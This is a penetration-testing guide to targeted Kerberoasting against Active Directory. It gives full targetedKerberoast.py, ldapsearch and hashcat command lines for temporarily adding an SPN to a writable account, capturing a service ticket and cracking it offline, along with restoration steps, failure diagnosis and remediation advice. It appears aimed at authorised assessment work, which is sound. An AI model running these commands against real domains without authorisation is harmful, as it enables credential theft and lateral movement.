targetedKerberoast
Normal Kerberoasting requests a service ticket for an existing SPN. Targeted Kerberoasting can temporarily add an SPN to an account you can modify, request a ticket, and remove the added value. The report uses this after confirming object-control rights.
Establish permissions and clock health
Read the target account’s effective permissions and original SPNs with your directory tools. Keep the original values as evidence. Resolve the DC by its correct name, check reachability and confirm your clock agrees with the domain before interpreting Kerberos failures.
Request one account
python3 targetedKerberoast.py --help
python3 targetedKerberoast.py --use-ldaps \
-d example.test -u labuser -p '<LAB_PASSWORD>' \
--dc-ip 192.0.2.10 --request-user service-user \
-o service-user.tgs
Credentials here are explicit placeholders. --request-user limits the selected identity. --no-abuse suppresses attribute modification when you only want to request tickets for existing SPNs. Use an encrypted directory connection configured for your environment.
Identify, test and restore
hashcat --identify service-user.tgs
# For a confirmed $krb5tgs$23$ record only:
hashcat -m 13100 service-user.tgs lab-candidates.txt
hashcat -m 13100 --show service-user.tgs
Other encryption types require other modes. Success: a ticket is obtained; recovering a candidate password and validating it are additional results. Re-read the directory object to verify that the original SPN set was restored even after interruption. Restrict SPN write rights and use strong managed service credentials.
Pick the least disruptive request
| Target state | Request choice | Directory change |
|---|---|---|
| Existing usable SPN | --no-abuse --request-user | None intended |
| No SPN, confirmed SPN write right | --request-user | Temporary SPN addition/removal |
| List of separately approved accounts | -U accounts.txt | May modify each account without an SPN |
| Only test accounts that need SPN abuse | --only-abuse | Still requires effective write rights |
# Request an existing SPN without attempting attribute modification
python3 targetedKerberoast.py --use-ldaps --no-abuse \
-d example.test -u labuser -p '<LAB_PASSWORD>' \
--dc-ip 192.0.2.10 --request-user service-user -o existing-spn.tgs
# Use an existing cache for the single-account workflow
export KRB5CCNAME="$PWD/labuser.ccache"
python3 targetedKerberoast.py --use-ldaps -k --no-pass \
-d example.test -u labuser --dc-ip 192.0.2.10 \
--request-user service-user -o service-user.tgs
Save the attribute state on the same DC
ldapsearch -LLL -x -H ldaps://dc01.example.test \
-D 'labuser@example.test' -W -b 'DC=example,DC=test' \
'(sAMAccountName=service-user)' distinguishedName servicePrincipalName \
> service-user-before.ldif
Repeat this query into service-user-after.ldif after the run. Compare the SPN values as a set: LDAP can return multi-valued attributes in a different order. Retain the exact temporary value from the tool log. If interrupted, remove only that introduced value using the documented directory editor; preserve every pre-existing SPN.
Encryption type and offline work
| Ticket record prefix | Common hashcat mode | Meaning |
|---|---|---|
$krb5tgs$23$ | 13100 | RC4-HMAC TGS |
$krb5tgs$17$ | 19600 | AES128 TGS |
$krb5tgs$18$ | 19700 | AES256 TGS |
Check the emitted representation against hashcat’s examples. Do not force an AES record into an RC4 mode. Candidate exhaustion means the tested candidates failed; it says nothing about the account’s effective ACLs.
Failure diagnosis
| Failure | Likely boundary | Useful next check |
|---|---|---|
insufficientAccessRights | LDAP attribute write | Re-read the target’s effective SPN write permission |
| Constraint violation | SPN value or directory policy | Inspect the temporary value and existing SPNs |
| No such user | Identity or naming context | Query sAMAccountName directly |
KRB_AP_ERR_SKEW | Client/KDC time | Measure UTC offset; see the time helpers |
| KDC refuses requested encryption | Account/domain encryption policy | Use supported types; record the returned type |
| Ticket captured, nothing recovered | Offline candidates | Confirm mode and representation before extending candidates |
Evidence and remediation
Capture the requester, target DN, original SPNs, write result, ticket type and restored state. Report password recovery separately, with the value redacted. GenericWrite may create this path, but the finding should name the actual attribute and principal that permitted the write. Remove unnecessary SPN control and give service accounts long, unique managed credentials.
Related learning
How attacks work. Examples use fictional lab values; replace placeholders only with values from the system you are testing.